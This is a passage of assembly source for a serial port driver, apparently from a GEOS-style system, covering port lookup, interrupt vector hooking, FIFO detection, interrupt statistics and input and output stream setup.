EC < ERROR_NZ INVALID_PORT_NUMBER >
EC < cmp bx, SERIAL_COM8 >
EC < ERROR_A INVALID_PORT_NUMBER >
;EC < mov ax, cs:serialData >
EC < push es >
EC < mov bx, handle dgroup >
EC < call MemDerefES >
EC < mov ax, es >
EC < pop es >
EC < mov bx, ds >
EC < cmp ax, bx >
EC < ERROR_NE DS_NOT_POINTING_TO_SERIAL_DATA >
EC < pop ax, bx >
mov si, offset comPorts
test bx, SERIAL_PASSIVE
jz loadOffset ; jump if active port
;
; The requested port has the passive flag set. Clear the
; flag, and the offset will be appropriate for indexing into
; the comPortsPassive table.
;
mov si, offset comPortsPassive
and bx, (not SERIAL_PASSIVE)
loadOffset:
mov bx, ds:[si][bx]
.leave
ret
SerialGetPortData endp
Resident ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialInitStub
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Front-end for DR_INIT function. Just calls to SerialInit,
which is movable.
CALLED BY: DR_INIT (SerialStrategy)
PASS: ds = dgroup
RETURN: Carry clear if we're happy
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 1/14/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Resident segment
SerialInitStub proc near
.enter
CallMod SerialInit
.leave
ret
SerialInitStub endp
Resident ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialExitStub
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle driver exit.
CALLED BY: DR_EXIT (SerialStrategy)
PASS: Nothing
RETURN: Carry clear if we're happy, which we generally are...
DESTROYED:
PSEUDO CODE/STRATEGY:
Nothing to do on exit, in contrast to init, so we don't.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 1/14/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Resident segment
SerialExitStub proc near
.enter
CallMod SerialExit
.leave
ret
SerialExitStub endp
Resident ends
OpenClose segment resource
if INTERRUPT_STAT
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialResetStatVar
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Clear all variables in stat
CALLED BY: SerialOpen
PASS: ds:si = SerialPortData for the port that was open just now
RETURN: nothing
DESTROYED: nothing
REVISION HISTORY:
Name Date Description
---- ---- -----------
SJ 4/29/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialResetStatVar proc near
uses ax, di, es
.enter
segmov es, ds, ax
clr ax
mov di, offset com1Stat
cmp si, offset com1
je doclr
mov di, offset com2Stat
cmp si, offset com2
je doclr
mov di, offset com3Stat
cmp si, offset com3
je doclr
jmp exit
doclr:
mov cx, size InterruptStatStructure
rep stosw
exit:
.leave
ret
SerialResetStatVar endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialWriteOutStat
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Write out contents of stat variables to Ini file
CALLED BY: SerialClose
PASS: ds:si = SerialPortData of the port just closed
RETURN: nothing
DESTROYED: nothing
REVISION HISTORY:
Name Date Description
---- ---- -----------
SJ 4/29/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
com1Str char "com1",0
com2Str char "com2",0
com3Str char "com3",0
SerialWriteOutStat proc near
uses ds,es,di,si
.enter
segmov es, ds, di
segmov ds, cs, di
cmp si, offset com1
jne ne1
mov di, offset com1Stat
mov si, offset com1Str
jmp doWrite
ne1:
cmp si, offset com2
jne ne2
mov di, offset com2Stat
mov si, offset com2Str
jmp doWrite
ne2:
cmp si, offset com3
jne ne3
mov di, offset com3Stat
mov si, offset com3Str
jmp doWrite
ne3:
jmp done
doWrite:
call WriteOutStat
done:
.leave
ret
SerialWriteOutStat endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
WriteOutStat
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Write out stat
CALLED BY: SerialWriteOutStat
PASS: es:di = one of com1Stat/com2Stat/com3Stat
ds:si = pointer to correct category string: com1Str/com2Str/etc
RETURN: nothing
DESTROYED: nothing
REVISION HISTORY:
Name Date Description
---- ---- -----------
SJ 4/29/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
interruptCountStr char "interruptCount",0
errorCountStr char "errorCount",0
xmitIntCountStr char "xmitIntCount",0
recvIntCountStr char "recvIntCount",0
fifoTimeoutStr char "fifoTimeout", 0
modemStatusCountStr char "modemStatusCount", 0
noActionCountStr char "noActionCount",0
bogusIntCountStr char "bogusIntCount",0
overrunCountStr char "overrunCount",0
bufferFullCountStr char "bufferFullCount",0
WriteOutStat proc near
uses cx,dx,bp
.enter
mov cx, cs
mov bp, es:[di].ISS_interruptCount
mov dx, offset interruptCountStr
call InitFileWriteInteger
mov bp, es:[di].ISS_errorCount
mov dx, offset errorCountStr
call InitFileWriteInteger
mov bp, es:[di].ISS_xmitIntCount
mov dx, offset xmitIntCountStr
call InitFileWriteInteger
mov bp, es:[di].ISS_recvIntCount
mov dx, offset recvIntCountStr
call InitFileWriteInteger
mov bp, es:[di].ISS_fifoTimeout
mov dx, offset fifoTimeoutStr
call InitFileWriteInteger
mov bp, es:[di].ISS_modemStatusCount
mov dx, offset modemStatusCountStr
call InitFileWriteInteger
mov bp, es:[di].ISS_noActionCount
mov dx, offset noActionCountStr
call InitFileWriteInteger
mov bp, es:[di].ISS_bogusIntCount
mov dx, offset bogusIntCountStr
call InitFileWriteInteger
mov bp, es:[di].ISS_overrunCount
mov dx, offset overrunCountStr
call InitFileWriteInteger
mov bp, es:[di].ISS_bufferFullCount
mov dx, offset bufferFullCountStr
call InitFileWriteInteger
.leave
ret
WriteOutStat endp
endif ; INTERRUPT_STAT
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialFindVector
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Find the interrupt vector for a port.
CALLED BY: SerialInitPort, SerialClose
PASS: ds:si = SerialPortData for the port
RETURN: cx = device interrupt level
ds:di = SerialVectorData to use
carry set if no interrupt vector allocated to the port
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 1/15/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialFindVector proc near
.enter
clr cx
mov cl, ds:[si].SPD_irq ; cx <- interrupt level
cmp cl, -1
je noInts ; -1 means can't interrupt
;
; Check known interrupt levels first
;
mov di, offset primaryVec
if STANDARD_PC_HARDWARE
cmp cl, SDI_ASYNC ; Primary vector?
je haveVec
mov di, offset alternateVec
cmp cl, SDI_ASYNC_ALT ; Alternate vector?
je haveVec
;
; Not a known level, so see if one of the weird interrupt
; vector slots is available for use (or is already bound
; to this level).
;
mov di, offset weird1Vec
cmp ds:[di].SVD_irq, cl
je haveVec
tst ds:[di].SVD_port ; Weird1 taken?
jz setVec
mov di, offset weird2Vec
cmp ds:[di].SVD_irq, cl
je haveVec
tst ds:[di].SVD_port ; Weird2 taken?
jz setVec
endif ; STANDARD_PC_HARDWARE
noInts:
stc ; Signal no vector available
haveVec:
.leave
ret
if STANDARD_PC_HARDWARE
setVec:
mov ds:[di].SVD_irq, cl ; Claim this vector
; for our own.
jmp haveVec
endif
SerialFindVector endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialInitVector
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Snag an interrupt vector. Unmasks the interrupt and makes
sure any pending interrupt for the level has been
acknowledged (this last is for init code, but can be
useful...)
CALLED BY: SerialCheckPort, SerialInitPort
PASS: di = SerialVectorData in dgroup for vector to be caught
ds:si = SerialPortData for port on whose behalf the vector is
being caught.
bx = segment of handling routine
ds = es
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
turn off interrupts
fetch interrupt level from data and vector it to the
proper handler
figure the interrupt mask for the level
fetch the current mask from the proper controller
save the state of the mask bit for this level
enable the interrupt in the controller
send a specific end-of-interrupt command to the controller
in charge for this level.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 2/13/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialInitVector proc far uses ax, dx, bx, cx, es
.enter
INT_OFF
tst ds:[di].SVD_port
jnz done ; non-zero => already intercepted
;
; Catch the interrupt vector
;
push bx
mov bx, handle dgroup
call MemDerefES
pop bx
; segmov es, dgroup, ax
clr ax
mov al, ds:[di].SVD_irq
mov cx, ds:[di].SVD_handler
push di
call SysCatchDeviceInterrupt
pop di
mov cl, ds:[di].SVD_irq
;
; Figure which controller to change
;
mov dx, IC1_MASKPORT
cmp cl, 8
jl 10$
sub cl, 8
if STANDARD_PC_HARDWARE
;
; Deliver specific EOI for chained-controller level to the
; first controller while we're here...
;
mov al, IC_SPECEOI or 2
out IC1_CMDPORT, al
endif
mov dx, IC2_MASKPORT
10$:
;
; Fetch the current mask and mask out the bit for this interrupt
; level, saving it away in SVD_mask for restoration by
; SerialResetVector.
;
mov ah, 1
shl ah, cl
in al, dx
and ah, al
mov ds:[di].SVD_mask, ah
;
; Invert the result and mask the current interrupt-mask with it
; If the bit for the level was already 0, this won't change
; anything (only 1 bit was set in ah originally). If the bit
; was 1, however, this will clear it.
;
not ah
and al, ah
out dx, al
;
; Send a specific EOI for the level to the affected controller.
;
if STANDARD_PC_HARDWARE
mov al, IC_SPECEOI
or al, cl
CheckHack <IC1_CMDPORT - IC1_MASKPORT eq -1>
dec dx
endif ; STANDARD_PC_HARDWARE
out dx, al
done:
;
; Add this port to the list of ports for the interrupt vector.
;
mov ax, ds:[di].SVD_port
mov ds:[si].SPD_next, ax
mov ds:[di].SVD_port, si
if NEW_ISR
;
; initialize interrupt handler table to be non-flow control version,
; as this is the faster of the two ( see FcHandlerTbl in
; serialHighSpeed.asm )
;
mov ds:[si].SPD_handlers, offset QuickHandlerTbl
endif
INT_ON
.leave
ret
SerialInitVector endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialResetVector
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Reset an interrupt vector to its previous contents,
re-masking the affected interrupt if it was masked before
SerialInitVector was called.
CALLED BY: SerialCheckPort, SerialClose
PASS: di = SerialVectorData in dgroup
si = SerialPortData offset of the port to unhook
ds = dgroup
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 2/13/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialResetVector proc far uses ax, dx, bx, es
.enter
INT_OFF
;
; Remove the port from the list for this vector
;
mov bx, handle dgroup
call MemDerefES
; segmov es, dgroup, ax
lea ax, ds:[di].SVD_port-SPD_next
portLoop:
mov bx, ax
mov ax, ds:[bx].SPD_next
EC < tst ax >
EC < ERROR_Z VECTOR_PORT_LIST_CORRUPTED >
cmp ax, si
jne portLoop
mov ax, ds:[si].SPD_next
mov ds:[bx].SPD_next, ax
;
; If any ports are still using this interrupt vector, leave it alone
;
tst ds:[di].SVD_port
jnz stillInUse
;
; Reset the mask bit to its original state, then put back the original
; vector.
;
mov dx, IC1_MASKPORT
mov al, ds:[di].SVD_irq
cmp al, 8
jl 10$
mov dx, IC2_MASKPORT
10$:
in al, dx
or al, ds:[di].SVD_mask
out dx, al
clr ax
mov al, ds:[di].SVD_irq
call SysResetDeviceInterrupt
stillInUse:
INT_ON
.leave
ret
SerialResetVector endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialFetchPortStatePC
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: fetch the port state for a PC-like port
CALLED BY: SerialFetchPortState
PASS: ds:si = SerialPortData
ds:di = SerialPortState to fill
RETURN: Void.
DESTROYED: ax, dx
PSEUDOCODE/STRATEGY:
KNOWN BUGS/SIDEFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 5/ 4/93 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialFetchPortStatePC proc near
.enter
mov dx, ds:[si].SPD_base
add dx, offset SP_lineCtrl
in al, dx ; fetch line format first
; so we can mess with SF_DLAB
mov ds:[di].SPS_format, al
mov ah, al
ornf al, mask SF_DLAB
out dx, al ; go for the current baud rate
jmp $+2 ; I/O delay
sub dx, offset SP_lineCtrl
in al, dx ; low byte
mov ds:[di].SPS_baud.low, al
inc dx
in al, dx ; high byte
mov ds:[di].SPS_baud.high, al
mov al, ah
add dx, offset SP_lineCtrl - offset SP_divHigh
out dx, al ; reset line format
jmp $+2 ; I/O delay
inc dx ; dx <- SP_modemCtrl
in al, dx
mov ds:[di].SPS_modem, al
add dx, offset SP_ien - offset SP_modemCtrl
in al, dx
mov ds:[di].SPS_ien, al
.leave
ret
SerialFetchPortStatePC endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialFetchPortState
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Store the current state of the port in the port data for
later restoration.
CALLED BY: SerialInitPort, SerialCloseWithoutReset
PASS: ds:si = SerialPortData for the port
RETURN: nothing
DESTROYED: ax
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 11/ 8/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialFetchPortState proc near uses dx, es, di, bx, cx
.enter
INT_OFF
lea di, ds:[si].SPD_initState
if STANDARD_PC_HARDWARE
call SerialFetchPortStatePC
endif ; STANDARD_PC_HARDWARE
INT_ON
;
; Make sure we know the interrupt level at which the port is operating.
;
cmp ds:[si].SPD_irq, -1
clc
jne done
if STANDARD_PC_HARDWARE
mov bx, ds:[si].SPD_portNum
;
; Now try and figure the interrupt level for the port.
;
call SerialCheckPort
jnc portFound ; jump if found
;
; Not found, so clear the bit from our device map and return an error.
;
mov cx, bx
and cx, (not SERIAL_PASSIVE) ; nuke passive bit
mov ax, not 1
rol ax, cl
andnf ds:[deviceMap], ax
mov ax, STREAM_NO_DEVICE
stc
endif ; STANDARD_PC_HARDWARE
jmp done
portFound:
;
; Copy the interrupt level and base to the passive port's data
; structure if we're opening an active port or to the
; active port if we're opening a passive port.
;
mov ax, si ; save original pointer
mov cl, ds:[si].SPD_irq
mov dx, ds:[si].SPD_base
mov si, ds:[si].SPD_otherPortData
mov ds:[si].SPD_base, dx
mov ds:[si].SPD_irq, cl
mov si, ax ; recover original pointer
done:
.leave
ret
SerialFetchPortState endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialInitHWPC
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: init a PC-like serial port
CALLED BY: SerialInitPort
PASS: ds:si = SerialPortData
cx = buffer size
RETURN: Void.
DESTROYED: ax, dx
PSEUDOCODE/STRATEGY:
KNOWN BUGS/SIDEFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 5/ 3/93 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialInitHWPC proc near
.enter
mov dx, ds:[si].SPD_base
add dx, offset SP_status ; Clear pending
in al, dx ; error irq
jmp $+2
add dx, offset SP_data-offset SP_status ; Clear pending
in al, dx ; data avail
; irq
jmp $+2
add dx, offset SP_iid - offset SP_data ; Clear pending
in al, dx ; transmit irq
jmp $+2
add dx, offset SP_modemStatus-offset SP_iid ;Clear pending
in al, dx ; modem status
jmp $+2 ; irq
;
; See if the port supports FIFOs.
;
add dx, offset SP_iid - offset SP_modemStatus
mov al, mask SFC_ENABLE or mask SFC_XMIT_RESET or \
mask SFC_RECV_RESET or \
(FIFO_RECV_THRESHOLD_SFS shl offset SFC_SIZE)
out dx, al
jmp $+2
in al, dx
test al, mask SIID_FIFO_MODE
jz raiseSignals
jpo cantUseFIFO ; (see note there)
;
; 1/13/98 See if the input buffer is small. If so, don't use
; FIFO anyway. If this port is for a mouse, use of a FIFO
; produces jerky movement as the FIFO needs to time out before
; responding. We assume that a small buffer (<= 16 bytes) is
; for a serial mouse. -- eca
cmp cx, 16 ; small buffer?
jbe cantUseFIFO ; branch if so
;
; It does. Remember that we turned them on so we turn them off again
; when we're done.
;
ornf ds:[si].SPD_flags, mask SPF_FIFO
raiseSignals:
;
; Raise DTR and RTS on the port since it's open. Most things like to
; have them asserted (e.g. modems) and I doubt if things would get
; upset, so just do it here to save further calls by the user.
;
mov al, mask SMC_OUT2 or mask SMC_DTR or mask SMC_RTS
adjustModemControl::
add dx, offset SP_modemCtrl - offset SP_iid
out dx, al
mov ds:[si].SPD_curState.SPS_modem, al
;
; 4/28/94: wait 3 clock ticks here to allow things to react to
; having DTR asserted. In particular, this is here to allow a
; serial -> parallel converter manufactured by GDT Softworks to
; power up -- ardeb
mov ax, 3
call TimerSleep
;
; Now enable interrupts for the port. Only enable the DATA_AVAIL and
; LINE_ERR interrupts until (1) we get data to transmit or (2) the user
; expresses an interest in modem status changes.
;
add dx, offset SP_ien - offset SP_modemCtrl
mov al, mask SIEN_DATA_AVAIL or mask SIEN_LINE_ERR
mov ds:[si].SPD_ien, al
out dx, al
.leave
ret
cantUseFIFO:
;
; The original 16550 part had asynchronous (read: random) failures
; when operated in FIFO mode. On the 16550, the SIID_FIFO_MODE field
; is 2 when FIFOs are enabled, while on the (working) 16550A, the field
; is 3. Thus if the field is non-zero but the parity is odd, we've got
; a 16550 and must turn the FIFOs back off again.
;
clr al
out dx, al
jmp raiseSignals
SerialInitHWPC endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialInitPort
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Initialize things for a newly opened port
CALLED BY: SerialOpen
PASS: bx = owner handle
ds:si = SerialPortData for the port
cx = input buffer size
dx = output buffer size
RETURN: carry set if port couldn't be initialized (ax = reason)
DESTROYED: ax, cx, dx, di, bx
PSEUDO CODE/STRATEGY:
Create a stream for the port
Set up routine notifier for ourselves
Set notification threshold to 1
Grab interrupt vector and enable interrupts for port's
interrupt level.
Force the printer on-line and turn off auto-feed, since we
do mostly graphics printing around here.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 1/15/90 Initial version
jdashe 4/27/94 Added passive port support
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialInitPort proc near
.enter
push cx ; save size for init
push bx ; save handle for second stream
; creation
;
; Notify the power management driver
;
push cx
mov cx, 1 ; indicate open
call NotifyPowerDriver
pop cx
mov ax, STREAM_POWER_ERROR
LONG jc openFailedPopOwner
;
; If on PCMCIA card, make sure the thing actually exists.
;
cmp ds:[si].SPD_socket, -1
je getState
mov ax, ds:[si].SPD_base
call SerialCheckExists
mov ax, STREAM_NO_DEVICE
LONG jc openFailedPopOwner
getState:
;
; Fetch the initial state of the port and squirrel it away for close.
;
; This was already done for preempted passive ports.
;
test ds:[si].SPD_passive, mask SPS_PREEMPTED
jnz bumpInputBuffer ; jump if passive
call SerialFetchPortState
LONG jc openFailedPopOwner
;
; Replicate initial state as port's current state, for use when
; re-establishing the port's state at some later date.
;
push si, es, di, cx
segmov es, ds
lea di, ds:[si].SPD_curState
lea si, ds:[si].SPD_initState
mov cx, size SPD_curState
rep movsb
pop si, es, di, cx
;
; If this is a passive port, we need to bump the input buffer size
; by one so we hold as many bytes as the caller requires, and still
; easily check if the buffer has become full.
;
test ds:[si].SPD_passive, mask SPS_PASSIVE
jz 5$ ; jump if not passive
bumpInputBuffer:
EC < call ECSerialVerifyPassive >
inc cx
EC < jmp ECjump >
5$:
EC < call ECSerialVerifyActive >
EC < ECjump: >
;
; Create the input stream of the specified size (first as
; DR_STREAM_CREATE biffs CX, also want bx = output stream
; for later calls) after setting the high- and low-water marks
; based on the size.
;
call SerialInitInput
jc openFailedCreatingFirstStream
;
; Now the output stream.
;
; If this is a passive connection, skip creating the output
; stream, since a passive connections are read-only.
;
mov_tr ax, dx
pop bx ; bx <- owner
call SerialInitOutput
jc openFailedFreeIn
call SerialFindVector
EC < ERROR_C SERIAL_PORT_CANT_INTERRUPT_AND_I_DONT_KNOW_WHY >
;
; Intercept the device's interrupt vector, unless this
; is a preempted passive port.
;
xchg ax, cx ; (1-byte inst)
mov ds:[si].SPD_vector, di ; Record vector
pop cx ; cx <- input buffer size
test ds:[si].SPD_passive, mask SPS_PREEMPTED
jnz afterInit ; jump if preempted
mov bx, segment Resident
call SerialInitVector
;
; Disable all interrupts from the chip so we can make sure
; all bogus existing conditions (like pending DATA_AVAIL or
; TRANSMIT interrupts) are gone.
;
call SerialInitHWPC
afterInit:
clc ; We're happy
done:
.leave
ret
openFailedPopOwner:
openFailedCreatingFirstStream:
pop bx ;Restore "owner"
pop cx ;restore size
jmp openFailed
openFailedFreeIn:
pop cx ;restore size
;
; Open failed b/c we couldn't allocate the output stream. Need
; to biff the input stream.
;
push ax ; Save error code
mov bx, ds:[si].SPD_inStream
mov di, DR_STREAM_DESTROY
mov ax, STREAM_DISCARD
call StreamStrategy
pop ax
openFailed:
;
; Open failed, but don't want to leave the port locked, in case
; resources get freed up later.
;
push bx
mov bx, ds:[si].SPD_openSem
VSem ds, [bx]
pop bx
clr cx ; make sure power management
call NotifyPowerDriver ; driver knows the thing's not
; actually open
stc
jmp done
SerialInitPort endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialInitInput
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create and initialize the input stream for the port.
CALLED BY: (INTERNAL) SerialInitPort
PASS: cx = buffer size
ds:si = SerialPortData
bx = handle to own the stream
RETURN: carry set if couldn't create
DESTROYED: ax, cx, bp, di, bx
SIDE EFFECTS: SPD_inStream set
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 2/ 8/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialInitInput proc near
uses dx
.enter
;
; Set the flow-control stuff and other input-related stuff first.
; - SPD_lowWater is set to 1/4 the size of the input buffer
; - SPD_highWater is set to 3/4 the size of the input buffer
; - SPD_byteMask is set to 0x7f (cooked)
; - SPD_mode is set to enable software flow control on both input
; and output
;
mov ax, cx ; ax <- buffer size
shr cx ; Divide total size by 4
shr cx ; to give low-water mark for
mov ds:[si].SPD_lowWater,cx ; the port.
mov ds:[si].SPD_highWater,ax; Turn off flow-control if
; buffer too small (by setting
; high-water mark to the size
; of the buffer)
neg cx
add cx, ax ; cx <- bufsize - bufsize/4
jle 10$
mov ds:[si].SPD_highWater,cx; cx > 0, so set as high water
10$:
mov ds:[si].SPD_byteMask, 0x7f
mov ds:[si].SPD_mode, mask SF_INPUT or mask SF_OUTPUT or \
mask SF_SOFTWARE
;
; Now create the input stream.
;
push ax ; save buffer size
mov cx, mask HF_FIXED
mov di, DR_STREAM_CREATE
call StreamStrategy ; bx = stream token
;
; Set the threshold for when the input stream drains below
; the lowWater mark. We only register the notifier if we
; send an XOFF.
;
pop cx ; cx <- buffer size
jc done
mov ds:[si].SPD_inStream, bx
sub cx, ds:[si].SPD_lowWater
mov ax, STREAM_WRITE
mov di, DR_STREAM_SET_THRESHOLD
call StreamStrategy
;
; Initialize the data notifier on the writing side of the
; input stream so we can just change the type to SNM_ROUTINE
; in SerialInt when we want to cause an XON to be sent.
;
mov ax, StreamNotifyType <0,SNE_DATA,SNM_NONE>
mov bp, si ; Pass SerialPortData offset to us
if NEW_ISR
mov dx, offset ResumeIncomingData
mov cx, segment ResumeIncomingData
else
mov dx, offset SerialRestart
mov cx, segment SerialRestart
endif
mov di, DR_STREAM_SET_NOTIFY
call StreamStrategy
clc
done:
.leave
ret
SerialInitInput endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialInitOutput
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create the output stream for the port. If there's an open
passive version of the port, preempt it.
CALLED BY: (INTERNAL) SerialInitPort
PASS: ds:si = SerialPortData
ax = buffer size
bx = geode to own the stream
RETURN: carry set if couldn't create
DESTROYED: ax, bx, cx, dx, di, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 2/ 8/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialInitOutput proc near
.enter
;
; If port is passive, we don't have to do any of this
;
test ds:[si].SPD_passive, mask SPS_PASSIVE
EC < jz noPassiveCheck >
EC < call ECSerialVerifyPassive >
EC < jmp doneOK >
EC < noPassiveCheck: >
jnz done ; (carry cleared by test)
;
; Create the stream.
;
EC < call ECSerialVerifyActive >
mov cx, mask HF_FIXED
mov di, DR_STREAM_CREATE
call StreamStrategy
jc done
mov ds:[si].SPD_outStream, bx
;
; Set up a routine notifier to call us when we stick data in
; the output stream. This may seem strange, after all we're the one who
; caused the data to go there, but it seems somehow cleaner to
; me to do it this way...
;
mov ax, StreamNotifyType <1,SNE_DATA,SNM_ROUTINE>
mov bp, si ; Pass SerialPortData offset to us
mov dx, offset SerialNotify
mov cx, segment SerialNotify
mov di, DR_STREAM_SET_NOTIFY
call StreamStrategy
;
; We need to know if even one byte goes in...
; 8/21/95: set the threshold to 0, not 1, so we get a general
; routine notification (not a special), but still get called
; whenever something is there. This causes an initial
; notification to happen (b/c there are the indicated number
; of bytes currently in the stream [0]), but SerialNotify is
; aware of this -- ardeb
;
mov ax, STREAM_READ
mov cx, 0
